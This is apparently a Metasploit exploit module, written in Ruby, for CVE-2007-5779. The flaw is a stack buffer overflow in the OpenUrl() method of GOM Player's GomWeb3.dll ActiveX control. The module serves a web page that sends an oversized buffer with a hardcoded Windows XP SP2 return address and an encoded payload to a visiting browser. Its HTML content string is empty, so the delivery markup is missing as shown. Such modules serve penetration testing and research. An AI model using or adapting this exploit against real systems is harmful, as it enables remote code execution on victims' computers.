##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'GOM Player ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in GOM Player 2.1.6.3499.
By sending an overly long string to the "OpenUrl()" method located
in the GomWeb3.dll Control, an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' =>
[
[ 'CVE', '2007-5779'],
[ 'OSVDB', '38282'],
[ 'URL', 'http://secunia.com/advisories/27418/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 Pro English', { 'Ret' => 0x7e497c7b } ], # 10/29/07
],
'DisclosureDate' => 'Oct 27 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
sploit = rand_text_english(506) + [target.ret].pack('V')
sploit << p.encoded + rand_text_english(1024 - p.encoded.length)
# Build out the message
content = %Q|
|
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end